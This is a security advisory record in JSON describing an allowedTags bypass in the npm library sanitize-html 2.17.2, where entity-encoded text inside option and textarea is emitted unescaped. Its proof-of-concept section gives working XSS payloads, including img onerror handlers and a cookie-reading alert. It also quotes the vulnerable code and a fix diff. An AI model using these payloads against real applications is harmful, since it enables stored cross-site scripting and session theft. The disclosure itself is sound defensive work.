{"id":"GHSA-9mrh-v2v3-xpfm","summary":"sanitize-html allowedTags Bypass via Entity-Decoded Text in nonTextTags Elements","details":"## Summary\n\nCommit 49d0bb7 introduced a regression in sanitize-html that bypasses `allowedTags` enforcement for text inside `nonTextTagsArray` elements (`textarea` and `option`). Entity-encoded HTML inside these elements passes through the sanitizer as decoded, unescaped HTML, allowing injection of arbitrary tags including XSS payloads. This affects any application using sanitize-html that includes `option` or `textarea` in its `allowedTags` configuration.\n\n## Details\n\nThe vulnerable code is at `packages/sanitize-html/index.js:569-573`:\n\n```javascript\n} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {\n  // htmlparser2 does not decode entities inside raw text elements like\n  // textarea and option. The text is already properly encoded, so pass\n  // it through without additional escaping to avoid double-encoding.\n  result += text;\n}\n```\n\nThe comment is factually incorrect. htmlparser2 10.x **does** decode HTML entities inside both `\u003ctextarea\u003e` and `\u003coption\u003e` elements before passing text to the `ontext` callback. This can be verified:\n\n```javascript\nconst htmlparser2 = require('htmlparser2');\nconst parser = new htmlparser2.Parser({\n  ontext(text) { console.log(JSON.stringify(text)); }\n});\nparser.write('\u003coption\u003e&lt;script&gt;\u003c/option\u003e');\n// Outputs: \"\u003c\", \"script\", \"\u003e\"  — entities are decoded\n```\n\nBecause the code assumes the text is \"already properly encoded\" and skips `escapeHtml()`, the decoded entities (`\u003c`, `\u003e`) are written directly to the output as literal HTML characters. This completely bypasses the `allowedTags` filter — any tag can be injected inside an allowed `option` or `textarea` element using entity encoding.\n\nThe execution flow:\n1. Attacker submits: `\u003coption\u003e&lt;img src=x onerror=alert(1)&gt;\u003c/option\u003e`\n2. htmlparser2 parses and decodes entities → `ontext` receives `\u003cimg src=x onerror=alert(1)\u003e`\n3. Code at line 569 checks: tag is `option`, which is in `nonTextTagsArray` → true\n4. Line 573: `result += text` — writes decoded text directly without escaping\n5. Output: `\u003coption\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e` — `\u003cimg\u003e` tag injected despite not being in `allowedTags`\n\nThe `script` and `style` tags are handled separately at lines 563-568 (before the vulnerable block), so the effective vulnerability applies to `textarea` and `option`, plus any custom elements added to `nonTextTags` by the user.\n\nPrior to commit 49d0bb7, text in these elements fell through to the `escapeHtml` branch (line 574-580), which correctly re-encoded the decoded entities.\n\n## PoC\n\n**Prerequisites:** Application using sanitize-html 2.17.2 with `option` or `textarea` in `allowedTags`.\n\n**Step 1: Basic tag injection via option**\n```javascript\nconst sanitize = require('sanitize-html');\nconst output = sanitize(\n  '\u003coption\u003e&lt;script&gt;alert(1)&lt;/script&gt;\u003c/option\u003e',\n  { allowedTags: ['option'] }\n);\nconsole.log(output);\n// Expected (safe): \u003coption\u003e&lt;script&gt;alert(1)&lt;/script&gt;\u003c/option\u003e\n// Actual (vulnerable): \u003coption\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/option\u003e\n```\n\n**Step 2: Element breakout with XSS event handler**\n```javascript\nconst output2 = sanitize(\n  '\u003coption\u003e&lt;/option&gt;&lt;img src=x onerror=alert(document.cookie)&gt;\u003c/option\u003e',\n  { allowedTags: ['option'] }\n);\nconsole.log(output2);\n// Output: \u003coption\u003e\u003c/option\u003e\u003cimg src=x onerror=alert(document.cookie)\u003e\u003c/option\u003e\n// The \u003cimg\u003e tag escapes the option context and executes the onerror handler\n```\n\n**Step 3: Textarea breakout (also vulnerable)**\n```javascript\nconst output3 = sanitize(\n  '\u003ctextarea\u003e&lt;/textarea&gt;&lt;img src=x onerror=alert(1)&gt;\u003c/textarea\u003e',\n  { allowedTags: ['textarea'] }\n);\nconsole.log(output3);\n// Output: \u003ctextarea\u003e\u003c/textarea\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/textarea\u003e\n```\n\n**Step 4: Full select/option context breakout**\n```javascript\nconst output4 = sanitize(\n  '\u003cselect\u003e\u003coption\u003e&lt;/option&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;\u003c/option\u003e\u003c/select\u003e',\n  { allowedTags: ['select', 'option'] }\n);\nconsole.log(output4);\n// Output: \u003cselect\u003e\u003coption\u003e\u003c/option\u003e\u003c/select\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/option\u003e\u003c/select\u003e\n// Breaks out of both option and select elements\n```\n\nAll outputs verified against sanitize-html 2.17.2 with htmlparser2 10.x.\n\n## Impact\n\n- **Complete `allowedTags` bypass**: Any HTML tag can be injected through an allowed `option` or `textarea` element using entity encoding, defeating the core security guarantee of sanitize-html.\n- **Stored XSS**: Applications that sanitize user-submitted HTML and allow `option` or `textarea` tags (common in form builders, CMS platforms, rich text editors) are vulnerable to stored cross-site scripting.\n- **Session hijacking**: Attackers can inject event handlers (`onerror`, `onload`, etc.) to steal session cookies or authentication tokens.\n- **Scope**: Affects non-default configurations only — the default `allowedTags` does not include `option` or `textarea`. However, these tags are commonly allowed in applications that handle form-related HTML content.\n\n## Recommended Fix\n\nRemove the vulnerable code block at lines 569-573 entirely. The `escapeHtml` branch (line 574) correctly handles these elements — htmlparser2 10.x decodes entities, and re-encoding with `escapeHtml` produces correct HTML output (entities are round-tripped, not double-encoded).\n\n```diff\n--- a/packages/sanitize-html/index.js\n+++ b/packages/sanitize-html/index.js\n@@ -566,11 +566,6 @@ function sanitizeHtml(html, options, _recursing) {\n         // your concern, don't allow them. The same is essentially true for style tags\n         // which have their own collection of XSS vectors.\n         result += text;\n-      } else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (nonTextTagsArray.indexOf(tag) !== -1)) {\n-        // htmlparser2 does not decode entities inside raw text elements like\n-        // textarea and option. The text is already properly encoded, so pass\n-        // it through without additional escaping to avoid double-encoding.\n-        result += text;\n       } else if (!addedText) {\n         const escaped = escapeHtml(text, false);\n         if (options.textFilter) {\n```\n\nThis fix restores the pre-49d0bb7 behavior where all non-script/style text content goes through `escapeHtml()`, ensuring decoded entities are properly re-encoded before output.","aliases":["CVE-2026-40186"],"modified":"2026-04-16T21:26:28.221563Z","published":"2026-04-16T21:08:29Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-16T21:08:29Z","nvd_published_at":"2026-04-15T21:17:27Z","cwe_ids":["CWE-79"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-9mrh-v2v3-xpfm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40186"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/commit/7ca2d16237c72718ef7e5c7ae0458e6027ac4f64"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"}],"affected":[{"package":{"name":"sanitize-html","ecosystem":"npm","purl":"pkg:npm/sanitize-html"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.17.2"},{"fixed":"2.17.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-9mrh-v2v3-xpfm/GHSA-9mrh-v2v3-xpfm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}